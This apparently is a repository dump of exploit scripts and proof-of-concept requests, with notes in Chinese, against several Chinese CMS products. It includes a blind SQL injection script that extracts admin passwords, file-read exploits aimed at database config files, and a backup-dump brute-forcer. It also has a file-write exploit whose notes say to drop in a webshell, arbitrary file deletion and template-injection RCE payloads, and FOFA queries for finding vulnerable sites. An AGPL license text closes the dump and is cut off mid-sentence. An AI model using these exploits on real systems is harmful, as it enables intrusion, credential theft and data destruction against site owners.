[
  {
    "path": "CMS漏洞/74cms/74cms_bak_instruct.py",
    "content": "# -*- coding: utf-8 -*-\n\n\nimport requests\n\n\ndef getBak(time):\n    print(\"[running]:正在查询\" + time + \"是否存在备份\")\n    dir = time + \"_1\"\n    filename = dir + \"_1.sql\"\n    url = target + \"//data/backup/database/\" + dir + \"/\" + filename\n    session = requests.Session()\n    headers = {\"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\n               \"Upgrade-Insecure-Requests\": \"1\",\n               \"User-Agent\": \"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0\",\n               \"Connection\": \"close\", \"Accept-Language\": \"en\", \"Accept-Encoding\": \"gzip, deflate\"}\n    cookies = {\"think_language\": \"en\", \"think_template\": \"default\", \"PHPSESSID\": \"6d86a34ec9125b2d08ebbb7630838682\"}\n    response = session.get(url=url, headers=headers, cookies=cookies)\n    if response.status_code == 200:\n        print(url)\n        exit()\n\n\nif __name__ == '__main__':\n\n    global target\n    target = \"http://www.target.com\"\n\n    for year in range(2017, 2020):\n        for mouth in range(1, 13):\n            for day in range(1, 31):\n                time = (str(year) + str('%02d' % mouth) + str('%02d' % day))\n                getBak(time)\n"
  },
  {
    "path": "CMS漏洞/74cms/74cms_file_read.php",
    "content": "<?php\ndate_default_timezone_set('PRC');\nclass CmsFileRead\n{\n    /**\n     * @return string  $domain 域名\n     * @return string  $file   要读取的文件\n     */\n    public function __construct($domain = '', $file = '')\n    {\n        $this->domain = $domain;\n        $this->file   = $file;\n    }\n\n    public function run()\n    {\n        if (!$this->domain) {\n            exit('域名不能为空');\n        }\n        \n        if (!$this->file) {\n            exit('要读取的文件不能为空');\n        }\n\n        $url = $this->domain.'/index.php?m=Home&c=Members&a=register';\n\n        $post_data = [\n            'reg_type' => 2,\n            'utype' => 2,\n            'org' => 'bind',\n            'ucenter' => 'bind',\n        ];\n\n        $uid = 1;\n        $cookie = 'members_bind_info[temp_avatar]='.$this->file.';';\n        $cookie .= 'members_uc_info[uid]='.$uid.';';\n        $cookie .= 'members_bind_info[type]=qq;';\n        $cookie .= 'members_uc_info[username]=test;';\n        $cookie .= 'members_uc_info[password]=123456;';\n\n        $this->curlRequest($url, $post_data, $cookie);\n\n        $url_file = $this->domain.'/data/upload/avatar/'.date('ym/d/');\n\n        $state_time = time()-15;\n\n        for ($i=0; $i <= 100; $i++) { \n            $file_name = $url_file.md5($uid.($state_time+=1)).'.jpg';\n            $res = @fopen($file_name, 'r');\n            if ($res) {\n                echo '----------- url ------------ <br/>'. $file_name.'<br/>';\n                echo '<br/><br/><br/>';\n                echo '----------- data ------------ <br/>'. htmlspecialchars(file_get_contents($file_name)).'<br/>';\n                exit;\n            } else {\n                if ($i === 100) {\n                    echo '此站点可能并无此漏洞 : )';\n                    exit;\n                }\n            }\n        }\n    }\n\n    private function curlRequest($url, $post = [], $cookie = '', $referurl = '')\n    {\n        if (!$referurl) {\n            $referurl = 'https://www.baidu.com';\n        }\n    \n        $header = array(\n            'CLIENT-IP:' . $this->getIp(),\n            'X-FORWARDED-FOR:' . $this->getIp(),\n            'HTTP_CLIENT_IP:' .$this->getIp(),\n            'HTTP_X_FORWARDED_FOR' . $this->getIp(),\n            'REMOTE_ADDR:' . $this->getIp(),\n            'Content-Type:application/x-www-form-urlencoded',\n            'X-Requested-With:XMLHttpRequest',\n        );\n    \n        $curl = curl_init();\n        curl_setopt($curl, CURLOPT_URL, $url);\n        //随机浏览器useragent\n        curl_setopt($curl, CURLOPT_USERAGENT, $this->agentArry());\n        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);\n        curl_setopt($curl, CURLOPT_AUTOREFERER, 1);\n        curl_setopt($curl, CURLOPT_REFERER, $referurl);\n        curl_setopt($curl, CURLOPT_HTTPHEADER, $header);\n    \n        if ($post) {\n            curl_setopt($curl, CURLOPT_POST, 1);\n            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));\n        }\n    \n        if ($cookie) {\n            curl_setopt($curl, CURLOPT_COOKIE, $cookie);\n        }\n    \n        curl_setopt($curl, CURLOPT_TIMEOUT, 10);\n        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\n        $data = curl_exec($curl);\n    \n        if (curl_errno($curl)) {\n            return curl_error($curl);\n        }\n    \n        curl_close($curl);\n        return $data;\n    }\n    \n    private function getIp()\n    {\n        return mt_rand(11, 191) . \".\" . mt_rand(0, 240) . \".\" . mt_rand(1, 240) . \".\" . mt_rand(1, 240);\n    }\n\n    private function agentArry()\n    {\n        $agentarry = [\n            //PC端的UserAgent\n            \"safari 5.1 – MAC\" => \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11\",\n            \"safari 5.1 – Windows\" => \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50\",\n            \"Firefox 38esr\" => \"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0\",\n            \"IE 11\" => \"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; rv:11.0) like Gecko\",\n            \"IE 9.0\" => \"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0\",\n            \"IE 8.0\" => \"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)\",\n            \"IE 7.0\" => \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)\",\n            \"IE 6.0\" => \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\",\n            \"Firefox 4.0.1 – MAC\" => \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\",\n            \"Firefox 4.0.1 – Windows\" => \"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\",\n            \"Opera 11.11 – MAC\" => \"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.8.131 Version/11.11\",\n            \"Opera 11.11 – Windows\" => \"Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11\",\n            \"Chrome 17.0 – MAC\" => \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11\",\n            \"傲游（Maxthon）\" => \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)\",\n            \"腾讯TT\" => \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0)\",\n            \"世界之窗（The World） 2.x\" => \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\",\n            \"世界之窗（The World） 3.x\" => \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)\",\n            \"360浏览器\" => \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)\",\n            \"搜狗浏览器 1.x\" => \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)\",\n            \"Avant\" => \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser)\",\n            \"Green Browser\" => \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\",\n            //移动端口\n            \"safari iOS 4.33 – iPhone\" => \"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",\n            \"safari iOS 4.33 – iPod Touch\" => \"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",\n            \"safari iOS 4.33 – iPad\" => \"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",\n            \"Android N1\" => \"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",\n            \"Android QQ浏览器 For android\" => \"MQQBrowser/26 Mozilla/5.0 (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",\n            \"Android Opera Mobile\" => \"Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10\",\n            \"Android Pad Moto Xoom\" => \"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",\n            \"BlackBerry\" => \"Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+\",\n            \"WebOS HP Touchpad\" => \"Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0\",\n            \"UC标准\" => \"NOKIA5700/ UCWEB7.0.2.37/28/999\",\n            \"UCOpenwave\" => \"Openwave/ UCWEB7.0.2.37/28/999\",\n            \"UC Opera\" => \"Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999\",\n            \"微信内置浏览器\" => \"Mozilla/5.0 (Linux; Android 6.0; 1503-M02 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile MQQBrowser/6.2 TBS/036558 Safari/537.36 MicroMessenger/6.3.25.861 NetType/WIFI Language/zh_CN\",\n        ];\n        return $agentarry[array_rand($agentarry, 1)];\n    }\n}\n\n// 要利用漏洞的域名\n$domain = 'http://74cms.test'; \n\n// 要读取的文件\n$file = '../../../../Application/Common/Conf/db.php;';\n\n$cms_file_read = new CmsFileRead($domain, $file);\n$cms_file_read->run();"
  },
  {
    "path": "CMS漏洞/74cms/README.md",
    "content": "# FOFA语法：app=\"74cms\"\n\n\n\n# 74cms v4.2.126-任意文件读取漏洞\n\n```\nurl: http://74cms.test/index.php?m=Home&c=Members&a=register\n\npost: \nreg_type=2&utype=2&org=bind&ucenter=bind\ncookie: members_bind_info[temp_avatar]=../../../../Application/Common/Conf/db.php;members_bind_info[type]=qq;members_uc_info[password]=123456;members_uc_info[uid]=1;members_uc_info[username]=tttttt;\nheaders:\nContent-Type: application/x-www-form-urlencoded\nX-Requested-With: XMLHttpRequest\n```\n\n综合利用脚本见**74cms_file_read.php**\n\n\n\n# 74cms v4.2.3 任意文件删除\n\n``` \nGET /index.php?m=admin&c=database&a=del&name=/../../../../../ HTTP/1.1\nHost: \nUser-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en\nAccept-Encoding: gzip, deflate\nReferer: http://127.0.0.1/index.php?m=admin&c=database&a=restore\nConnection: close\nCookie: think_template=default; PHPSESSID=6d86a34ec9125b2d08ebbb7630838682; think_language=en\nUpgrade-Insecure-Requests: 1\n```\n\npoc为`?m=admin&c=database&a=del&name=/../../../../../`\n\n\n\n# **74cms v4.2.3** **备份文件爆破**\n\n利用脚本见**74cms_bak_instruct.py**\n\n\n\n# **74cms v4.2.126-**通杀**sql**注入\n\nPayload:\n\n`http://xx.xx/index.php?m=&c=jobs&a=jobs_list&lat=23.176465&range=20&lng=113.35038 PI() / 180 - map_x  PI() / 180) / 2),2))) * 1000) AS map_range FROM qs_jobs_search j WHERE (extractvalue (1,concat(0x7e,(SELECT USER()), 0x7e))) -- a`\n\n\n\n# **74cms v5.0.1** **前台sql**注入\n\n### **具体信息**\n\n文件位置：74cms\\upload\\Application\\Home\\Controller\\AjaxPersonalController.class.php\n\n方法：function company_focus($company_id)\n\n是否需登录：需要\n\n登录权限：普通用户即可\n\n### **Payload:**\n\n`http://xx.xx/74cms/5.0.1/upload/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a`\n\n"
  },
  {
    "path": "CMS漏洞/CSZ_CMS/CVE-2019-13086.py",
    "content": "import requests\nimport time\nimport threading\nimport multiprocessing\n\npool = \"admin$ABCDEFGHIJKLMNOPQRSTUVWXYZ\" + \" \" + \"bcefghjklopqrstuvwxyz1234567890/.\"\nmutex = 0\n\n# 获取长度用的User-Agent模板\nual = \"'-(if((length((select name from user_admin limit 1))=10),sleep(5),1))-'', '127.0.0.1','time') #\"\n\n\n# \"Why don't you just build something\"\n# ----------------------------------------------------获取管理员用户名长度--------------------------------------------\ndef getlength(field, tbname, total):\n    ual_head = \"'-(if((length((select \"  # 这些空格一定要保留\n    ual_middle = \" limit 1))=\"\n    num = 1\n    ual_last = \"),sleep(5),1))-'', '127.0.0.1','time') #\"\n\n    datas = {'email': '111@111.com',\n             'password': '111'\n             }\n\n    header = {'Host': 'localhost',\n              'Content-Length': '74',\n              'Cache-Control': 'max-age=0',\n              'Origin': 'http://localhost',\n              'Upgrade-Insecure-Requests': '1',\n              'Content-Type': 'application/x-www-form-urlencoded',\n              'User-Agent': ual,\n              'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n              'Referer': 'http://localhost/cszcms/member/login',\n              'Accept-Encoding': 'gzip, deflate',\n              'Accept-Language': 'zh-CN,zh;q=0.9',\n              'Connection': 'close'}\n\n    starttime = time.time()\n    for num in range(total):\n        header['User-Agent'] = ual_head + field + \" from \" + tbname + ual_middle + str(num) + ual_last\n        # print(header['User-Agent'])\n        sendtime = time.time()\n        response = requests.post(r\"http://localhost/cszcms/member/login/check/post\", data=datas, headers=header)\n        recvtime = time.time()\n\n        doesitwork = recvtime - sendtime\n        if (doesitwork > 5):\n            print(\"The length is\", num)\n            print(\"This step cost:\", time.time() - starttime)\n            return num\n            break\n        if (num == total - 1):\n            return 0\n\n\n# 获取内容用的User-Agent模板\nua = \"'-(if((ascii(substr((select name from user_admin limit 1), 1, 1))=97),sleep(5),1))-'', '127.0.0.1','time') #\"\n\n\n# -----------------------------------------------------获取管理员用户名--------------------------------------------\ndef getcontent(field, tbname, num, qr, lock):\n    # print(num)\n    pool = \"@.tescomadin$ABCDEFGHIJKLMNOPQRSTUVWXYZ\" + \" \" + \"bcefghjklpqrstuvwxyz1234567890/.\"\n\n    result = []\n\n    ua_head = \"'-(if((ascii(substr((select \"\n    ua_front = \" limit 1), \"\n    ua_middle = \", 1))=\"\n    char = \"A\"\n    ua_last = \"),sleep(5),1))-'', '127.0.0.1','time') #\"\n\n    datas = {'email': '111@111.com',\n             'password': '111'\n             }\n\n    header = {'Host': 'localhost',\n              'Content-Length': '74',\n              'Cache-Control': 'max-age=0',\n              'Origin': 'http://localhost',\n              'Upgrade-Insecure-Requests': '1',\n              'Content-Type': 'application/x-www-form-urlencoded',\n              'User-Agent': ua,\n              'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n              'Referer': 'http://localhost/cszcms/member/login',\n              'Accept-Encoding': 'gzip, deflate',\n              'Accept-Language': 'zh-CN,zh;q=0.9',\n              'Connection': 'close'}\n\n    for i in range(1):\n        for char in pool:\n            header['User-Agent'] = ua_head + field + \" from \" + tbname + ua_front + str(num + 1) + ua_middle + str(\n                ord(char)) + ua_last\n            # print(header['User-Agent'])\n\n            lock.acquire()\n            sendtime = time.time()\n            response = requests.post(r\"http://localhost/cszcms/member/login/check/post\", data=datas, headers=header)\n            lock.release()\n\n            recvtime = time.time()\n\n            doesitwork = recvtime - sendtime\n            if (doesitwork > 5):\n                # print(\"It cost:\",doesitwork)\n                print(num, \" got:\", char)\n                # adminnamelist[num]=char\n                result = [num, char]\n                qr.put(result)\n                break\n\n\n# ---------------------------------------------现在！让我们重新揭起救世的大旗！------------------------------------\n\nif __name__ == '__main__':\n\n    qr = multiprocessing.Queue()\n    lock = multiprocessing.Lock()\n\n    field = \"password\"\n    tbname = \"user_admin\"\n\n    adminname = \"\"\n    adminpwd = \"\"\n\n    getresult = []\n\n    # 调用获得长度的函数\n    length = getlength(field, tbname, 100)\n    print(\"length is\", length)\n\n    processes = []\n\n    # 开线程分别对每个字符匹配\n    timehead = time.time()\n\n    for ti in range(length):\n        processes.append(multiprocessing.Process(target=getcontent, args=(field, tbname, ti, qr, lock)))\n        processes[ti].start()\n\n    for ti in range(length):\n        processes[ti].join()\n\n    fout = open(field + \"out.txt\", \"w+\")\n    for ci in range(length):\n        getresult.append(qr.get())\n    print(getresult)\n    for ci in range(length):\n        for result in getresult:\n            if (result[0] == ci):\n                print(result[1])\n                adminname += result[1]\n\n    fout.write(adminname)\n    print(field, \":\", adminname)\n    fout.close()\n    print(\"It took:\", time.time() - timehead)"
  },
  {
    "path": "CMS漏洞/CSZ_CMS/README.md",
    "content": "# （CVE-2019-13086）CSZ CMS 1.2.2 sql注入漏洞\n\n## 一、漏洞简介\n\nCSZ CMS是一套基于PHP的开源内容管理系统（CMS）。 CSZ CMS 1.2.2版本（2019-06-20之前）中的core/MY_Security.php文件存在SQL注入漏洞。该漏洞源于基于数据库的应用缺少对外部输入SQL语句的验证。攻击者可利用该漏洞执行非法SQL命令。\n\n## 二、漏洞影响\n\nCSZ CMS 1.2.2版本（2019-06-20之前）\n\n## 三、利用过程\n\n具体见**CVE-2019-13086.py**，利用时替换localhost即可\n\n---\n\n\n\n# CSZ CMS 1.2.7  储存型 xss\n\n## 一、漏洞简介\n\n拥有访问私有消息的未授权用户可以向管理面板嵌入Javascript代码。\n\n## **二、漏洞影响**\n\nCSZ CMS 1.2.7\n\n## 三、利用过程\n\n新建一个用户，点击inbox发送私信，选定管理员用户，修改User-Agent为`<script>alert(1)</script>`，管理员登陆后台即可触发xss。\n"
  },
  {
    "path": "CMS漏洞/ThinkCMF/README.md",
    "content": "# FOFA语法：app=\"thinkCMF\"\n\n\n\n# thinkCMF文件包含漏洞\n\n## 一、简介\n\nthinkCMF它是一个开源的，支持[swoole](https://so.csdn.net/so/search?q=swoole&spm=1001.2101.3001.7020)的开源内容管理框架，让web开发更快，节约时间，这个框架的话是基于thinkphp的二次开发框架，所以说在我们国内还是有大部分的网站使用到这样的一个框架的。\n\n## 二、漏洞利用\n\nhttps://xxxx/index.php?a=display&templateFile=README.md\n\n然后我们去到浏览器界面输入README.md回车，就可以发现我们能够成功的包含出这样的一个代码。\n\n![image-20220718140532111](https://0-bit.oss-cn-beijing.aliyuncs.com/cuer/image-20220718140532111.png)\n\n证明该文件包含漏洞有效\n\n\n\n# thinkCMF文件写入漏洞\n\n## 一、漏洞利用\n\n[https://xx/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('1455.php','<?php phpinfo();?>')</php>]()\n\npoc为`?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('1455.php','<?php phpinfo();?>')</php>`\n\n再请求1055.php之后即可看到phpinfo界面\n\n利用时可将`<?php  phpinfo();?>`替换为webshell，写入成功后连接。\n\n![image-20220718142724470](https://0-bit.oss-cn-beijing.aliyuncs.com/cuer/image-20220718142724470.png)\n\n\n\n## 我将这两个漏洞结合，编写了综合利用脚本，见**ThinkCMF.py**"
  },
  {
    "path": "CMS漏洞/ThinkCMF/ThinkCMF.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom pyfiglet import Figlet\nfrom optparse import OptionParser\nimport requests\n\ndef scan(original_url):\n\n    test_url=original_url+'index.php?a=display&templateFile=README.md'\n    headers = {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36\"\n    }\n    response = requests.get(url=test_url, headers=headers)\n    if(response.text[:9]==\"## README\"):\n        print(\"存在漏洞，正在尝试中。。。\")\n        last_url = original_url + \"index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('1455.php','<?php phpinfo();?>')</php>\"\n        response = requests.get(url=last_url, headers=headers)\n        print(\"请尝试浏览 \" + original_url + \"1455.php\\ngetshell可将phpinfo()替换为木马内容\")\n    else:\n        print(\"不存在漏洞\")\n        return\n\n\ndef main():\n    f = Figlet(width=2000)\n    print(f.renderText(\"ThinkCMF\"))\n\n    usage = \"usage: xxx.py -t <target>\"  # 帮助\n    parser = OptionParser(usage=usage)\n    parser.add_option(\"-t\", \"--target\", type=\"string\", dest=\"target\", help=\"your target here\")\n    (options, args) = parser.parse_args()  # 获取选项和参数进行赋值\n    target = options.target\n    if(target==None):\n        print(\"未输入目标，请重新运行\")\n        return\n    scan(target)\n    pass\n\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "CMS漏洞/Zzzcms/README.md",
    "content": "# FOFA：\n\n```\napp=\"Zzzcms\"\n```\n\n\n\n# **Zzzcms 1.75** **后台地址泄露**\n\n## **一、漏洞影响**\n\nZzzcms 1.75\n\n## **二、复现过程**\n\n存在一个比较奇葩的文件直接将一些属于不可访问的zzz_config.php的内容直接给回显了，该信息泄露文件位于plugins/webuploader/js/webconfig.php，可以直接获取到管理后台的管理路径名称，再也不用去爆破admin加3位数字了\n\n通过访问[http://xxxx/plugins/webuploader/js/webconfig.php]()即可获取后台路径\n\n![image-20220718120157582](https://0-bit.oss-cn-beijing.aliyuncs.com/cuer/image-20220718120157582.png)\n\n---\n\n# ZZZCMS parserSearch 远程命令执行漏洞\n\n## 漏洞描述\n\nZZZCMS parserSearch 存在模板注入导致远程命令执行漏洞\n\n## 漏洞影响\n\n```\nZZZCMS\n```\n\n## FOFA\n\n```\napp=\"zzzcms\"\n```\n\n## 漏洞复现\n\n```\nPOST /?location=search HTTP/1.1\nHost: \nContent-Length: 30\nPragma: no-cache\nCache-Control: no-cache\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\nContent-Type: text/plain\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6\nCookie: PHPSESSID=rbuhrqqhoctntnak8slkascqp1; keys=%7Bif%3A%3DPHPINFO%28%29%7D%7Bend+if%7D%0D%0A\n\n\nkeys={if:=PHPINFO()}{end if}\n```\n"
  },
  {
    "path": "CMS漏洞/齐博cms/Qibo_v7.py",
    "content": "# -*- coding: utf-8 -*-\n\nimport requests\nimport re\nimport urllib\nimport base64\ndef dakai(filename):\n    with open(filename,'r',encoding='utf-8') as fp:\n        # url_list = []\n        # for i in fp.readlines():\n        #     url_list.append(i.strip())\n        # return url_list\n        return [i.strip() for i in fp.readlines()]  # 列表推到式\n\ndef main():\n    for url in dakai('url.txt'):\n        new_url = url + '/do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8'\n        # base64编码读取 data/config.php\n        headers = {\n            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36'\n        }\n\n        try:\n            # 可使用代理\n            respone = requests.get(url=new_url, headers=headers, timeout=4, proxies={'http': 'http://127.0.0.1:10809'})\n\n            if 'ph<' in respone.headers['Content-Type'] and '$webdb' in respone.text and respone.status_code == 200:\n                print(\"存在漏洞:\" + new_url)\n                with open('Exist.txt', 'a+') as fp:\n                    fp.write(url+'\\n')\n        except Exception as e:\n            print(url + \"err: \" + str(e))\n\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "CMS漏洞/齐博cms/齐博CMS V7任意文件下载漏洞.md",
    "content": "# 齐博CMS V7任意文件下载漏洞\n\n## 漏洞影响\n\n```\n齐博cms V7\n```\n\n## FOFA\n\n```\napp=\"齐博cms\"\n```\n\n## Poc\n\n```\n/do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8\n```\n\nZGF0YS9jb25maWcucGg8  为base64编码后的文件名\n\n综合验证和利用脚本见 Qibo_v7.py\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU AFFERO GENERAL PUBLIC LICENSE\n                       Version 3, 19 November 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU Affero General Public License is a free, copyleft license for\nsoftware and other kinds of works, specifically designed to ensure\ncooperation with the community in the case of network server software.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nour General Public Licenses are intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  Developers that use our General Public Licenses protect your rights\nwith two steps: (1) assert copyright on the software, and (2) offer\nyou this License which gives you legal permission to copy, distribute\nand/or modify the software.\n\n  A secondary benefit of defending all users' freedom is that\nimprovements made in alternate versions of the program, if they\nreceive widespread use, become available for other developers to\nincorporate.  Many developers of free software are heartened and\nencouraged by the resulting cooperation.  However, in the case of\nsoftware used on network servers, this result may fail to come about.\nThe GNU General Public License permits making a modified version and\nletting the public access it on a server without ever releasing its\nsource code to the public.\n\n  The GNU Affero General Public License is designed specifically to\nensure that, in such cases, the modified source code becomes available\nto the community.  It requires the operator of a network server to\nprovide the source code of the modified version running there to the\nusers of that server.  Therefore, public use of a modified version, on\na publicly accessible server, gives the public access to the source\ncode of the modified version.\n\n  An older license, called the Affero General Public License and\npublished by Affero, was designed to accomplish similar goals.  This is\na different license, not a version of the Affero GPL, but Affero has\nreleased a new version of the Affero GPL which permits relicensing under\nthis license.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU Affero General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the 